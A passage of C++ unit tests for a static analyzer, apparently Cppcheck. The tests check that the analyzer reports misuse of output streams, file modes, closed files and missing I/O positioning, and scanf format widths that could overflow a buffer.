settings1.severity.setEnabled(Severity::portability, options.portability);\n settings1.certainty.setEnabled(Certainty::inconclusive, options.inconclusive);\n PLATFORM(settings1.platform, options.platform);\n settings1.platform.defaultSign = options.defaultSign;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n if (options.onlyFormatStr) {\n CheckIO checkIO(&tokenizer, &settings1, this);\n checkIO.checkWrongPrintfScanfArguments();\n return;\n }\n runChecks(tokenizer, this);\n }\n\n void coutCerrMisusage() {\n check(\n \"void foo() {\\n\"\n \" std::cout << std::cout;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Invalid usage of output stream: '<< std::cout'. [coutCerrMisusage]\\n\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" std::cout << (std::cout);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Invalid usage of output stream: '<< std::cout'. [coutCerrMisusage]\\n\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" std::cout << \\\"xyz\\\" << std::cout;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Invalid usage of output stream: '<< std::cout'. [coutCerrMisusage]\\n\", errout_str());\n\n check(\n \"void foo(int i) {\\n\"\n \" std::cout << i << std::cerr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Invalid usage of output stream: '<< std::cerr'. [coutCerrMisusage]\\n\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" std::cout << \\\"xyz\\\";\\n\"\n \" std::cout << \\\"xyz\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" std::cout << std::cout.good();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" unknownObject << std::cout;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"void foo() {\\n\"\n \" MACRO(std::cout <<, << std::cout)\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n\n void wrongMode_simple() {\n // Read mode\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"r\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _wfopen(name, L\\\"r\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfopen(name, _T(\\\"r\\\"));\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfopen(name, _T(\\\"r\\\"));\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _wfopen_s(&f, name, L\\\"r\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _tfopen_s(&f, name, _T(\\\"r\\\"));\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _tfopen_s(&f, name, _T(\\\"r\\\"));\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"r+\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _wfopen(name, L\\\"r+\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfopen(name, _T(\\\"r+\\\"));\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfopen(name, _T(\\\"r+\\\"));\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _wfopen_s(&f, name, L\\\"r+\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _tfopen_s(&f, name, _T(\\\"r+\\\"));\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" _tfopen_s(&f, name, _T(\\\"r+\\\"));\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = tmpfile();\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"\", errout_str());\n\n // Write mode\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"w\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Read operation on a file that was opened only for writing. [readWriteOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"w+\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = tmpfile();\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Append mode\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"a\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Repositioning operation performed on a file opened in append mode has no effect. [seekOnAppendedFile]\\n\"\n \"[test.cpp:5:5]: (error) Read operation on a file that was opened only for writing. [readWriteOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"a+\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Variable declared locally\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(name, \\\"r\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" fclose(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n // Call unknown function\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"a\\\");\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" bar(f);\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // freopen and tmpfile\n check(\"void foo(FILE*& f) {\\n\"\n \" f = freopen(name, \\\"r\\\", f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _wfreopen(name, L\\\"r\\\", f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfreopen(name, _T(\\\"r\\\"), f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfreopen(name, _T(\\\"r\\\"), f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _wfreopen_s(&f, name, L\\\"r\\\", f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfreopen_s(&f, name, _T(\\\"r\\\"), f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = _tfreopen_s(&f, name, _T(\\\"r\\\"), f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Write operation on a file that was opened only for reading. [writeReadOnlyFile]\\n\", errout_str());\n\n // Crash tests\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, mode);\\n\" // No assertion failure (#3830)\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void fopen(std::string const &filepath, std::string const &mode);\"); // #3832\n }\n\n void wrongMode_complex() {\n check(\"void foo(FILE* f) {\\n\"\n \" if(a) f = fopen(name, \\\"w\\\");\\n\"\n \" else f = fopen(name, \\\"r\\\");\\n\"\n \" if(a) fwrite(buffer, 5, 6, f);\\n\"\n \" else fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f;\\n\"\n \" if(a) f = fopen(name, \\\"w\\\");\\n\"\n \" else f = fopen(name, \\\"r\\\");\\n\"\n \" if(a) fwrite(buffer, 5, 6, f);\\n\"\n \" else fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(name, \\\"w\\\");\\n\"\n \" if(a) fwrite(buffer, 5, 6, f);\\n\"\n \" else fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Read operation on a file that was opened only for writing. [readWriteOnlyFile]\\n\", errout_str());\n }\n\n void useClosedFile() {\n check(\"void foo(FILE*& f) {\\n\"\n \" fclose(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" clearerr(f);\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" ungetc('a', f);\\n\"\n \" ungetwc(L'a', f);\\n\"\n \" rewind(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Used file that is not opened. [useClosedFile]\\n\"\n \"[test.cpp:4:5]: (error) Used file that is not opened. [useClosedFile]\\n\"\n \"[test.cpp:5:5]: (error) Used file that is not opened. [useClosedFile]\\n\"\n \"[test.cpp:6:5]: (error) Used file that is not opened. [useClosedFile]\\n\"\n \"[test.cpp:7:5]: (error) Used file that is not opened. [useClosedFile]\\n\"\n \"[test.cpp:8:5]: (error) Used file that is not opened. [useClosedFile]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" if(!ferror(f)) {\\n\"\n \" fclose(f);\\n\"\n \" return;\"\n \" }\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" fclose(f);\\n\"\n \" f = fopen(name, \\\"r\\\");\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(name, \\\"r\\\");\\n\"\n \" f = g;\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f;\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Used file that is not opened. [useClosedFile]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f(stdout);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #3965\n \" FILE* f[3];\\n\"\n \" f[0] = fopen(name, mode);\\n\"\n \" fclose(f[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4368: multiple functions\n check(\"static FILE *fp = NULL;\\n\"\n \"\\n\"\n \"void close()\\n\"\n \"{\\n\"\n \" fclose(fp);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void dump()\\n\"\n \"{\\n\"\n \" if (fp == NULL) return;\\n\"\n \" fprintf(fp, \\\"Here's the output.\\\\n\\\");\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" fp = fopen(\\\"test.txt\\\", \\\"w\\\");\\n\"\n \" dump();\\n\"\n \" close();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static FILE *fp = NULL;\\n\"\n \"\\n\"\n \"void close()\\n\"\n \"{\\n\"\n \" fclose(fp);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void dump()\\n\"\n \"{\\n\"\n \" fclose(fp);\\n\"\n \" fprintf(fp, \\\"Here's the output.\\\\n\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:3]: (error) Used file that is not opened. [useClosedFile]\\n\", errout_str());\n\n // #4466\n check(\"void chdcd_parse_nero(FILE *infile) {\\n\"\n \" switch (mode) {\\n\"\n \" case 0x0300:\\n\"\n \" fclose(infile);\\n\"\n \" return;\\n\"\n \" case 0x0500:\\n\"\n \" fclose(infile);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void chdcd_parse_nero(FILE *infile) {\\n\"\n \" switch (mode) {\\n\"\n \" case 0x0300:\\n\"\n \" fclose(infile);\\n\"\n \" exit(0);\\n\"\n \" case 0x0500:\\n\"\n \" fclose(infile);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4649\n check(\"void foo() {\\n\"\n \" struct {FILE *f1; FILE *f2;} a;\\n\"\n \" a.f1 = fopen(name,mode);\\n\"\n \" a.f2 = fopen(name,mode);\\n\"\n \" fclose(a.f1);\\n\"\n \" fclose(a.f2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1473\n check(\"void foo() {\\n\"\n \" FILE *a = fopen(\\\"aa\\\", \\\"r\\\");\\n\"\n \" while (fclose(a)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Used file that is not opened. [useClosedFile]\\n\", \"\", errout_str());\n\n // #6823\n check(\"void foo() {\\n\"\n \" FILE f[2];\\n\"\n \" f[0] = fopen(\\\"1\\\", \\\"w\\\");\\n\"\n \" f[1] = fopen(\\\"2\\\", \\\"w\\\");\\n\"\n \" fclose(f[0]);\\n\"\n \" fclose(f[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12236\n check(\"void f() {\\n\"\n \" FILE* f = fopen(\\\"abc\\\", \\\"r\\\");\\n\"\n \" decltype(fclose(f)) y;\\n\"\n \" y = fclose(f);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void fileIOwithoutPositioning() {\n check(\"void foo(FILE* f) {\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Read and write operations without a call to a positioning function (fseek, fsetpos or rewind) or fflush in between result in undefined behaviour. [IOWithoutPositioning]\\n\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Read and write operations without a call to a positioning function (fseek, fsetpos or rewind) or fflush in between result in undefined behaviour. [IOWithoutPositioning]\\n\", errout_str());\n\n check(\"void foo(FILE* f, bool read) {\\n\"\n \" if(read)\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" else\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" fflush(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" rewind(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" fsetpos(f, pos);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" fseek(f, 0, SEEK_SET);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE* f) {\\n\"\n \" fread(buffer, 5, 6, f);\\n\"\n \" long pos = ftell(f);\\n\"\n \" fwrite(buffer, 5, 6, f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Read and write operations without a call to a positioning function (fseek, fsetpos or rewind) or fflush in between result in undefined behaviour. [IOWithoutPositioning]\\n\", errout_str());\n\n // #6452 - member functions\n check(\"class FileStream {\\n\"\n \" void insert(const ByteVector &data, ulong start);\\n\"\n \" void seek(long offset, Position p);\\n\"\n \" FileStreamPrivate *d;\\n\"\n \"};\\n\"\n \"void FileStream::insert(const ByteVector &data, ulong start) {\\n\"\n \" int bytesRead = fread(aboutToOverwrite.data(), 1, bufferLength, d->file);\\n\"\n \" seek(writePosition);\\n\"\n \" fwrite(buffer.data(), sizeof(char), buffer.size(), d->file);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class FileStream {\\n\"\n \" void insert(const ByteVector &data, ulong start);\\n\"\n \" FileStreamPrivate *d;\\n\"\n \"};\\n\"\n \"void FileStream::insert(const ByteVector &data, ulong start) {\\n\"\n \" int bytesRead = fread(aboutToOverwrite.data(), 1, bufferLength, d->file);\\n\"\n \" unknown(writePosition);\\n\"\n \" fwrite(buffer.data(), sizeof(char), buffer.size(), d->file);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class FileStream {\\n\"\n \" void insert(const ByteVector &data, ulong start);\\n\"\n \" FileStreamPrivate *d;\\n\"\n \"};\\n\"\n \"void known(int);\\n\"\n \"void FileStream::insert(const ByteVector &data, ulong start) {\\n\"\n \" int bytesRead = fread(aboutToOverwrite.data(), 1, bufferLength, d->file);\\n\"\n \" known(writePosition);\\n\"\n \" fwrite(buffer.data(), sizeof(char), buffer.size(), d->file);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Read and write operations without a call to a positioning function (fseek, fsetpos or rewind) or fflush in between result in undefined behaviour. [IOWithoutPositioning]\\n\", errout_str());\n\n check(\"class FileStream {\\n\"\n \" void insert(const ByteVector &data, ulong start);\\n\"\n \" FileStreamPrivate *d;\\n\"\n \"};\\n\"\n \"void known(int);\\n\"\n \"void FileStream::insert(const ByteVector &data, ulong start) {\\n\"\n \" int bytesRead = fread(X::data(), 1, bufferLength, d->file);\\n\"\n \" known(writePosition);\\n\"\n \" fwrite(X::data(), sizeof(char), buffer.size(), d->file);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Read and write operations without a call to a positioning function (fseek, fsetpos or rewind) or fflush in between result in undefined behaviour. [IOWithoutPositioning]\\n\", errout_str());\n }\n\n void seekOnAppendedFile() {\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(\\\"\\\", \\\"a+\\\");\\n\"\n \" fseek(f, 0, SEEK_SET);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(\\\"\\\", \\\"w\\\");\\n\"\n \" fseek(f, 0, SEEK_SET);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(\\\"\\\", \\\"a\\\");\\n\"\n \" fseek(f, 0, SEEK_SET);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Repositioning operation performed on a file opened in append mode has no effect. [seekOnAppendedFile]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(\\\"\\\", \\\"a\\\");\\n\"\n \" fflush(f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #5578\n\n check(\"void foo() {\\n\"\n \" FILE* f = fopen(\\\"\\\", \\\"a\\\");\\n\"\n \" fclose(f);\\n\"\n \" f = fopen(\\\"\\\", \\\"r\\\");\\n\"\n \" fseek(f, 0, SEEK_SET);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #6566\n }\n\n void fflushOnInputStream() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" fflush(stdin);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability) fflush() called on input stream 'stdin' may result in undefined behaviour on non-linux systems. [fflushOnInputStream]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" fflush(stdout);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(path, \\\"r\\\");\\n\"\n \" fflush(f);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability) fflush() called on input stream 'f' may result in undefined behaviour on non-linux systems. [fflushOnInputStream]\\n\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" f = fopen(path, \\\"w\\\");\\n\"\n \" fflush(f);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(FILE*& f) {\\n\"\n \" fflush(f);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompatibleFileOpen() {\n check(\"void foo() {\\n\"\n \" FILE *f1 = fopen(\\\"tmp\\\", \\\"wt\\\");\\n\"\n \" FILE *f2 = fopen(\\\"tmp\\\", \\\"rt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The file '\\\"tmp\\\"' is opened for read and write access at the same time on different streams [incompatibleFileOpen]\\n\", errout_str());\n }\n\n\n void testScanf1() {\n check(\"void foo() {\\n\"\n \" int a, b;\\n\"\n \" FILE *file = fopen(\\\"test\\\", \\\"r\\\");\\n\"\n \" a = fscanf(file, \\\"aa %s\\\", bar);\\n\"\n \" b = scanf(\\\"aa %S\\\", bar);\\n\"\n \" b = scanf(\\\"aa %ls\\\", bar);\\n\"\n \" sscanf(foo, \\\"%[^~]\\\", bar);\\n\"\n \" scanf(\\\"%dx%s\\\", &b, bar);\\n\"\n \" fclose(file);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) fscanf() without field width limits can crash with huge input data. [invalidscanf]\\n\"\n \"[test.cpp:5:9]: (warning) scanf() without field width limits can crash with huge input data. [invalidscanf]\\n\"\n \"[test.cpp:6:9]: (warning) scanf() without field width limits can crash with huge input data. [invalidscanf]\\n\"\n \"[test.cpp:7:5]: (warning) sscanf() without field width limits can crash with huge input data. [invalidscanf]\\n\"\n \"[test.cpp:8:5]: (warning) scanf() without field width limits can crash with huge input data. [invalidscanf]\\n\", errout_str());\n }\n\n void testScanf2() {\n check(\"void foo() {\\n\"\n \" scanf(\\\"%5s\\\", bar);\\n\" // Width specifier given\n \" scanf(\\\"%5[^~]\\\", bar);\\n\" // Width specifier given\n \" scanf(\\\"aa%%s\\\", bar);\\n\" // No %s\n \" scanf(\\\"aa%d\\\", &a);\\n\" // No %s\n \" scanf(\\\"aa%ld\\\", &a);\\n\" // No %s\n \" scanf(\\\"%*[^~]\\\");\\n\" // Ignore input\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) scanf format string requires 0 parameters but 1 is given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n }\n\n void testScanf3() { // ticket #3494\n check(\"void f() {\\n\"\n \" char str[8];\\n\"\n \" scanf(\\\"%7c\\\", str);\\n\"\n \" scanf(\\\"%8c\\\", str);\\n\"\n \" scanf(\\\"%9c\\\", str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: (error) Width 9 given in format string (no. 1) is larger than destination buffer 'str[8]', use %8c to prevent overflowing it. [invalidScanfFormatWidth]\\n\", errout_str());\n }\n\n void testScanf4() { // ticket #2553\n check(\"void f()\\n\"\n \"{\\n\"\n \" char str [8];\\n\"\n \" scanf (\\\"%70s\\\",str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Width 70 given in format string (no. 1) is larger than destination buffer 'str[8]', use %7s to prevent overflowing it. [invalidScanfFormatWidth]\\n\", errout_str());\n }\n\n void testScanf5() { // #10632\n check(\"char s1[42], s2[42];\\n\"\n \"void test() {\\n\"\n \" scanf(\\\"%42s%42[a-z]\\\", s1, s2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Width 42 given in format string (no. 1) is larger than destination buffer 's1[42]', use %41s to prevent overflowing it. [invalidScanfFormatWidth]\\n\"\n \"[test.cpp:3:5]: (error) Width 42 given in format string (no. 2) is larger than destination buffer 's2[42]', use %41[a-z] to prevent overflowing it. 